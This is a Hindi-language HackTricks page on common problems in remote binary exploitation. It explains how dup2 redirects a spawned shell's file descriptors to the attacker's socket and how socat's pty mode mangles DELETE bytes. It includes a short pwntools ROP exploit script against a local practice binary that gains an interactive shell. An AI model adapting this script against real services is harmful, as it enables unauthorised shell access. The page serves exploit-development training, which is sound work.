5.3 KiB
सामान्य शोषण समस्याएँ
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PR सबमिट करें।
दूरस्थ शोषण में FDs
जब एक दूरस्थ सर्वर को एक शोषण भेजा जाता है जो system('/bin/sh')
को कॉल करता है, उदाहरण के लिए, यह सर्वर प्रक्रिया में निष्पादित होगा, और /bin/sh
stdin (FD: 0
) से इनपुट की अपेक्षा करेगा और stdout और stderr (FDs 1
और 2
) में आउटपुट प्रिंट करेगा। इसलिए हमलावर शेल के साथ इंटरैक्ट नहीं कर पाएगा।
इसका एक समाधान यह है कि मान लिया जाए कि जब सर्वर शुरू हुआ, तो उसने FD संख्या 3
(सुनने के लिए) बनाई और फिर, आपका कनेक्शन FD संख्या 4
में होगा। इसलिए, यह संभव है कि syscall dup2
का उपयोग करके stdin (FD 0) और stdout (FD 1) को FD 4 (हमलावर के कनेक्शन वाला) में डुप्लिकेट किया जाए ताकि शेल से संपर्क करना संभव हो सके जब यह निष्पादित हो।
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
ध्यान दें कि socat पहले से ही stdin
और stdout
को सॉकेट पर ट्रांसफर करता है। हालाँकि, pty
मोड DELETE वर्णों को शामिल करता है। इसलिए, यदि आप \x7f
( DELETE
-) भेजते हैं, तो यह आपके एक्सप्लॉइट के पिछले वर्ण को हटाएगा।
इससे बचने के लिए किसी भी भेजे गए \x7f
के पहले escape character \x16
होना चाहिए।
यहाँ आप इस व्यवहार का एक उदाहरण** पा सकते हैं।**
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.